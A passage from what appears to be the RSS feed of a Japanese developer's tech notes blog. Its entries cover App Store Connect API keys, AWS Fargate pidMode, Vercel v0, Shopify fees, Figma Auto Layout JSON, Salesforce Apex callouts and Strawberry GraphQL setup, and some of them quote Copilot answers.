See &amp;ldquo;man altool&amp;rdquo; for details about how to authenticate with the App Store Connect API key.&lt;/p&gt;
&lt;h2 id="xcrun-altool-での-apikey-と-apiissuer-の取得方法"&gt;xcrun altool での apiKey と apiIssuer の取得方法&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;xcrun altool&lt;/strong&gt; を使用して App Store Connect にアプリをアップロードする際に、&lt;strong&gt;apiKey&lt;/strong&gt; と &lt;strong&gt;apiIssuer&lt;/strong&gt; の値が必要になりますね。これらの値は、App Store Connect で API キーを作成することで取得できます。&lt;/p&gt;</description></item><item><title>AWS: ECS: Fargate: pidMode</title><link>https://hdknr.github.io/blogs/posts/2024/09/aws-ecs-fargate-pidmode/</link><pubDate>Mon, 02 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/aws-ecs-fargate-pidmode/</guid><description>&lt;h1 id="aws-ecs-fargate-pidmode"&gt;AWS ECS Fargate: pidMode&lt;/h1&gt;
&lt;p&gt;AWS Fargateの&lt;code&gt;pidMode&lt;/code&gt;は、タスク内のコンテナ間でプロセスID（PID）名前空間を共有するための設定です。これにより、同じタスク内のコンテナが互いのプロセス情報にアクセスできるようになります¹²。&lt;/p&gt;
&lt;p&gt;例えば、モニタリング用のサイドカーコンテナが、他のコンテナのプロセス情報を取得して監視することが可能になります。Fargateでは&lt;code&gt;pidMode=task&lt;/code&gt;のみがサポートされており、これを有効にすると、タスク内のすべてのコンテナが同じPID名前空間を共有します²。&lt;/p&gt;
&lt;p&gt;この機能は、特にセキュリティや監視の観点から便利で、プロセスの監視やシステムコールのトラッキングが容易になります¹。&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/9/2
(1) 【アップデート】ECS on Fargateでサイドカーからプロセス &amp;hellip;. &lt;a href="https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/"&gt;https://dev.classmethod.jp/articles/ecs-on-fargate-support-shared-pid-namespace/&lt;/a&gt;.
(2) AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ &amp;hellip;. &lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/"&gt;https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/&lt;/a&gt;.
(3) [ECS/Fargate] [request]: Support pidMode: task on Fargate #676. &lt;a href="https://github.com/aws/containers-roadmap/issues/676"&gt;https://github.com/aws/containers-roadmap/issues/676&lt;/a&gt;.
(4) 【アップデート】ECS on FargateがsystemControlsをサポートし &amp;hellip;. &lt;a href="https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/"&gt;https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/&lt;/a&gt;.
(5) Amazon ECS on AWS Fargate - Datadog Infrastructure and &amp;hellip;. &lt;a href="https://docs.datadoghq.com/integrations/ecs_fargate/"&gt;https://docs.datadoghq.com/integrations/ecs_fargate/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pidMode&lt;/code&gt;を指定しなくてもサイドカー構成を取ることは可能です。&lt;code&gt;pidMode&lt;/code&gt;は、特定のユースケースでプロセスID名前空間を共有するためのオプションですが、サイドカーコンテナ自体は他の方法で連携できます。&lt;/p&gt;
&lt;p&gt;例えば、サイドカーコンテナは以下のような方法で他のコンテナと連携します：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ネットワーク共有&lt;/strong&gt;: 同じタスク内のコンテナはデフォルトで同じネットワーク名前空間を共有するため、互いに通信できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ボリューム共有&lt;/strong&gt;: データを共有するために、同じボリュームをマウントすることができます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;環境変数や設定ファイル&lt;/strong&gt;: コンテナ間で設定情報を共有するために使用できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの方法を組み合わせることで、&lt;code&gt;pidMode&lt;/code&gt;を使用しなくても効果的なサイドカー構成を実現できます。&lt;/p&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/"&gt;AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ構成のサポートを開始&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/shun198/items/e06ca36464cc054a6278"&gt;Terraformを使ってAWSのECS Fargate(Django+Nginx)を構築しよう！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Vercel</title><link>https://hdknr.github.io/blogs/posts/2024/09/vercel/</link><pubDate>Mon, 02 Sep 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/09/vercel/</guid><description>&lt;h1 id="vercel"&gt;Vercel&lt;/h1&gt;
&lt;h2 id="v0"&gt;v0&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://v0.dev/"&gt;https://v0.dev/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="v0とは"&gt;v0とは？&lt;/h3&gt;
&lt;p&gt;Vercel v0は、最新のフロントエンド開発プラットフォームで、特に開発者の効率を最大化することを目指しています。以下のような特徴があります¹²：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;リアルタイムコラボレーション&lt;/strong&gt;：開発チームがリアルタイムで共同作業できる機能を提供します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動スケーリング&lt;/strong&gt;：需要に応じてリソースを自動的に調整し、効率的なリソース管理を実現します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;統合された開発環境&lt;/strong&gt;：開発者が最小限の設定で最大限の成果を得られるように設計されています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テキストプロンプトからのUI生成&lt;/strong&gt;：自然言語での指示を基に、ウェブサイトのユーザーインターフェース（UI）を自動生成します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リアルタイムプレビュー&lt;/strong&gt;：コードの変更が即座に反映され、フィードバックサイクルを短縮します。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これにより、プロジェクトの立ち上げからデプロイまでのプロセスが大幅に簡素化され、開発者はより迅速に市場に製品を投入することが可能となります¹²。&lt;/p&gt;
&lt;p&gt;何か特定の機能について詳しく知りたいことがありますか？&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/9/2
(1) Vercel v0とは何か：最新技術の概要とその背景について &amp;hellip;. &lt;a href="https://www.issoh.co.jp/tech/details/3416/"&gt;https://www.issoh.co.jp/tech/details/3416/&lt;/a&gt;.
(2) 【2024最新】v0 by Vercelとは？特徴や使い方、料金まで解説 &amp;hellip;. &lt;a href="https://ai-gallery.jp/tools/v0-by-vercel/"&gt;https://ai-gallery.jp/tools/v0-by-vercel/&lt;/a&gt;.
(3) 【Claude Artifactに匹敵！？】Vercel v0の使い方と活用事例20 &amp;hellip;. &lt;a href="https://bing.com/search?q=vercel+v0+%e3%81%a8%e3%81%af"&gt;https://bing.com/search?q=vercel+v0+%e3%81%a8%e3%81%af&lt;/a&gt;.
(4) 【生成AI】Vercel v0の登録方法〜料金プランまで解説 &amp;hellip;. &lt;a href="https://funrepeat.com/fr-note/3547"&gt;https://funrepeat.com/fr-note/3547&lt;/a&gt;.
(5) [Vercel] v0 Private Betaの試用レポート - Zenn. &lt;a href="https://zenn.dev/shimarisu_121/articles/b2aabc4f0110d7"&gt;https://zenn.dev/shimarisu_121/articles/b2aabc4f0110d7&lt;/a&gt;.
(6) undefined. &lt;a href="https://t.co/v5wvCdhPov"&gt;https://t.co/v5wvCdhPov&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="記事"&gt;記事&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/acntechjp/articles/f29c823733bb6e"&gt;vercelのv0(ブイゼロ)を試してみた&lt;/a&gt; (今後はAIソリューション使い倒し、どのような場面でどのソリューションが効果的で、どうプロンプトすれば良いのかマスターになった方が差別化になる)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/arthurlawrence/articles/c456750edfd56e"&gt;いま流行りのvercelの【v0】の自作アイデア17選✨&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aws"&gt;AWS&lt;/h2&gt;
&lt;p&gt;はい、Vercelの基盤システムはAWS上で運用されています。Vercelは、AWSのインフラを利用して、グローバルにスケール可能なフロントエンドコードのデプロイとトラフィックのルーティングを行っています³。&lt;/p&gt;
&lt;p&gt;他に何か知りたいことがあれば教えてくださいね。&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/9/2
(1) AWS + Vercel. &lt;a href="https://vercel.com/partners/aws"&gt;https://vercel.com/partners/aws&lt;/a&gt;.
(2) データ活用基盤を作ってみたその1(構成シナリオ) #AWS - Qiita. &lt;a href="https://qiita.com/kamein/items/81df29ef9d32bf0a0810"&gt;https://qiita.com/kamein/items/81df29ef9d32bf0a0810&lt;/a&gt;.
(3) Vercelを調査していて感じたメリット・デメリット - Zenn. &lt;a href="https://zenn.dev/smartcamp/articles/9d9b4224be862f"&gt;https://zenn.dev/smartcamp/articles/9d9b4224be862f&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="django"&gt;Django&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/shimakaze_soft/articles/ef4a709dbe797c"&gt;VercelにDjangoをデプロイする&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Shopify</title><link>https://hdknr.github.io/blogs/posts/2024/08/shopify/</link><pubDate>Wed, 21 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/shopify/</guid><description>&lt;h1 id="shopify"&gt;Shopify&lt;/h1&gt;
&lt;h2 id="手数料"&gt;手数料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;やすい&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cloudfit.co.jp/article/91"&gt;Shopifyの手数料、3つの料金プラン、他社カートとの比較も解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fastmake.jp/blogs/ec-fee"&gt;ECサイトごとの各種手数料一覧を比較検証！おすすめサービスはどれ？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fbl.jp/column/compare_shopify/"&gt;Shopify・BASE・STORES等を徹底比較！どっちが売れるか料金や手数料の違いを解説&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="shopify-payment"&gt;SHopify Payment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.shopify.com/jp/payments"&gt;https://www.shopify.com/jp/payments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://corekara.co.jp/contents/sales-up/shopify-934/#:~:text=Shopify%20Payment%E3%81%A8%E3%81%AF%E3%80%81Shopify,%E4%B8%BB%E6%B5%81%E3%81%A8%E3%81%AA%E3%81%A3%E3%81%A6%E3%81%84%E3%81%BE%E3%81%99%E3%80%82"&gt;Shopify Paymentとは｜決済方法・決済手数料・設定方法を解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sbpayment.jp/support/ec/shopify-payment/"&gt;Shopify ペイメントとは？メリットやデメリット、手数料を解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ja.komoju.com/blog/credit-card-settlements/chargeback/"&gt;【EC事業者向け】チャージバックとは？基本的な仕組みから対策まで解説&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Figma</title><link>https://hdknr.github.io/blogs/posts/2024/08/figma/</link><pubDate>Tue, 20 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/figma/</guid><description>&lt;h1 id="オートレイアウト"&gt;オートレイアウト&lt;/h1&gt;
&lt;p&gt;FigmaのREST APIで取得したJSONデータから、FrameがAuto Layoutかどうかを判断するには、以下のフィールドをチェックします：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;layoutMode&lt;/code&gt;&lt;/strong&gt;: このフィールドが存在し、値が &lt;code&gt;&amp;quot;HORIZONTAL&amp;quot;&lt;/code&gt; または &lt;code&gt;&amp;quot;VERTICAL&amp;quot;&lt;/code&gt; であれば、そのFrameはAuto Layoutが適用されています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;例えば、以下のようなJSON構造です：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;123&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Frame 1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;FRAME&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;layoutMode&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;HORIZONTAL&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;この例では、&lt;code&gt;layoutMode&lt;/code&gt;が &lt;code&gt;&amp;quot;HORIZONTAL&amp;quot;&lt;/code&gt; なので、このFrameはAuto Layoutが適用されています。&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/9/19
(1) Figma オートレイアウトの使い方とうまくできないときの &amp;hellip; - Designup. &lt;a href="https://designup.jp/figma-auto-layout.html"&gt;https://designup.jp/figma-auto-layout.html&lt;/a&gt;.
(2) 【Figma】オートレイアウトの使い方完全ガイド（Auto Layout &amp;hellip;. &lt;a href="https://tagnote.net/figma/auto-layout/"&gt;https://tagnote.net/figma/auto-layout/&lt;/a&gt;.
(3) 【Figma】フレームの使い方マスター編 〜グループとの違いや &amp;hellip;. &lt;a href="https://implist.dev/entries/figma-frame-and-auto-layout-group"&gt;https://implist.dev/entries/figma-frame-and-auto-layout-group&lt;/a&gt;.
(4) Working with Auto Layout in Figma - a Self-Guided Tutorial. &lt;a href="https://www.figma.com/community/file/1207414800398401244/working-with-auto-layout-in-figma-a-self-guided-tutorial"&gt;https://www.figma.com/community/file/1207414800398401244/working-with-auto-layout-in-figma-a-self-guided-tutorial&lt;/a&gt;.
(5) FrameNode | Plugin API - Figma. &lt;a href="https://www.figma.com/plugin-docs/api/FrameNode/"&gt;https://www.figma.com/plugin-docs/api/FrameNode/&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>AppExchange</title><link>https://hdknr.github.io/blogs/posts/2024/08/appexchange/</link><pubDate>Mon, 19 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/appexchange/</guid><description>&lt;h1 id="appexchange"&gt;AppExchange&lt;/h1&gt;
&lt;h2 id="isv--oem-パートナー"&gt;ISV / OEM パートナー&lt;/h2&gt;
&lt;p&gt;組織&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パートナービジネス組織（Partner Business Org で PBO とも呼ばれる）&lt;/li&gt;
&lt;li&gt;パッケージ開発組織&lt;/li&gt;
&lt;li&gt;スクラッチ組織（Scratch Org）&lt;/li&gt;
&lt;li&gt;Trialforce ソース組織（Trialforce Source Org で TSO とも呼ばれる）&lt;/li&gt;
&lt;li&gt;顧客組織&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="開発"&gt;開発&lt;/h2&gt;
&lt;h3 id="lma"&gt;LMA&lt;/h3&gt;
&lt;h3 id="環境ハブ"&gt;環境ハブ&lt;/h3&gt;
&lt;h3 id="セキュリティレビュー"&gt;セキュリティレビュー&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Salesforce のアプリケーション審査&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;手順:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;準備&lt;/li&gt;
&lt;li&gt;申請&lt;/li&gt;
&lt;li&gt;注文書と手順書&lt;/li&gt;
&lt;li&gt;公開&lt;/li&gt;
&lt;li&gt;年次更新&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mavensmate"&gt;MavensMate&lt;/h2&gt;
&lt;h2 id="lightning-experience"&gt;Lightning Experience&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://developer.salesforce.com/docs/atlas.ja-jp.lightning.meta/lightning/intro_framework.htm"&gt;Lightning コンポーネントフレームワークとは?&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.salesforce.com/jp/solutions/appexchange/components/"&gt;Lightning コンポーネント: コードを一行も記述することなくビジネスアプリを開発できます。&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="aura-コンポーネント"&gt;&lt;a href="https://developer.salesforce.com/docs/atlas.ja-jp.252.0.lightning.meta/lightning/intro_components.htm"&gt;Aura コンポーネント&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;コンポーネント:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Visualforce&lt;/li&gt;
&lt;li&gt;Aura(いわゆるオーラ) (Aura コンポーネントの中から LWC を呼び出すことはできるが、LWC の中から Aura コンポーネントを呼び出すことはできない。)&lt;/li&gt;
&lt;li&gt;Lightning Web Conponent(LWC)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="外部のデータソースを呼ぶには"&gt;外部のデータソースを呼ぶには&lt;/h2&gt;
&lt;h3 id="apex"&gt;Apex&lt;/h3&gt;
&lt;p&gt;Aura コンポーネントから Salesforce 以外の外部データを呼び出すには、以下の手順を参考にしてください：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apex コントローラーを使用する&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apex クラスを作成し、外部 API を呼び出すメソッドを定義します。例えば、&lt;code&gt;HttpRequest&lt;/code&gt;と&lt;code&gt;HttpResponse&lt;/code&gt;クラスを使用して外部 API にリクエストを送信し、レスポンスを処理します。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-apex" data-lang="apex"&gt;public class ExternalDataController {
@AuraEnabled
public static String getExternalData() {
Http http = new Http();
HttpRequest request = new HttpRequest();
request.setEndpoint(&amp;#39;https://api.example.com/data&amp;#39;);
request.setMethod(&amp;#39;GET&amp;#39;);
HttpResponse response = http.send(request);
return response.getBody();
}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Aura コンポーネントで Apex メソッドを呼び出す&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>Gastby関連</title><link>https://hdknr.github.io/blogs/posts/2024/08/gastby%E9%96%A2%E9%80%A3/</link><pubDate>Mon, 19 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/gastby%E9%96%A2%E9%80%A3/</guid><description>&lt;h1 id="gatsby-関連"&gt;Gatsby 関連&lt;/h1&gt;
&lt;h2 id="figram"&gt;Figram&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.locofy.ai/convert/figma-to-gatsby"&gt;Locofy&lt;/a&gt; (Convert Figma to Gatsby: Get pixel perfect, high-quality code with Lightning)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/satoshi256kbyte/items/af6f8abed3c059d95da9"&gt;[初心者向け]はじめての Next.js - Figma×Locofy でソースコードを生成して自分のプロジェクトに適用する&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Figma to NOCODE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=9j-0EpyHJd0&amp;amp;t=28s"&gt;Webflow, Frame&lt;/a&gt; (Figram プラグイン)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>さくらのレンタルサーバー</title><link>https://hdknr.github.io/blogs/posts/2024/08/%E3%81%95%E3%81%8F%E3%82%89%E3%81%AE%E3%83%AC%E3%83%B3%E3%82%BF%E3%83%AB%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC/</link><pubDate>Mon, 19 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/%E3%81%95%E3%81%8F%E3%82%89%E3%81%AE%E3%83%AC%E3%83%B3%E3%82%BF%E3%83%AB%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC/</guid><description>&lt;h1 id="さくらのレンタルサーバー"&gt;さくらのレンタルサーバー&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://help.sakura.ad.jp/rs/2153/"&gt;無料 SSL（Let’s Encrypt）を設定したい&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://help.sakura.ad.jp/rs/2808/"&gt;SSL 証明書の設定をはじめからやり直したい（さくらの有償 SSL・独自 SSL）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://help.sakura.ad.jp/ssl/2327/"&gt;CSR を作成したい&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ColPali</title><link>https://hdknr.github.io/blogs/posts/2024/08/colpali/</link><pubDate>Thu, 01 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/colpali/</guid><description>&lt;h1 id="colpali"&gt;ColPali&lt;/h1&gt;
&lt;h2 id="arxiv"&gt;arXiv&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ja.wikipedia.org/wiki/ArXiv"&gt;アーカイブ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/kun432/scraps/7841793c270e80"&gt;ColPali： PaliGemma-3B と ColBERT ストラテジーに基づくビジュアルレトリバー&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://arxiv.org/abs/2407.01449"&gt;ColPali: Efficient Document Retrieval with Vision Language Models&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/knowledgesense/articles/08cfc3de7464cb"&gt;テキスト抽出不要の RAG を実現する ColPali&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Strawberry</title><link>https://hdknr.github.io/blogs/posts/2024/08/strawberry/</link><pubDate>Thu, 01 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/strawberry/</guid><description>&lt;h1 id="strawberry"&gt;Strawberry&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://strawberry.rocks/"&gt;https://strawberry.rocks/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="djanog-integration"&gt;Djanog Integration&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://strawberry.rocks/docs/integrations/django"&gt;https://strawberry.rocks/docs/integrations/django&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://strawberry.rocks/docs"&gt;Getting started with Strawberry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv add strawberry-graphql&lt;span style="color:#f92672"&gt;[&lt;/span&gt;debug-server&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv add strawberry-graphql-django
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv add django-choices-field&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="strawberry-sqlalchemy"&gt;strawberry-sqlalchemy&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/strawberry-graphql/strawberry-sqlalchemy"&gt;https://github.com/strawberry-graphql/strawberry-sqlalchemy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/comachi/items/42102ead754c9bbd4173"&gt;FastAPI と Strawberry(GraphQL) が動作する諸々整ったデモアプリを作ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/0machi/FastAPI_Strawberry_strawberry-sqlalchemy_DemoApp"&gt;https://github.com/0machi/FastAPI_Strawberry_strawberry-sqlalchemy_DemoApp&lt;/a&gt;&lt;/li&gt;
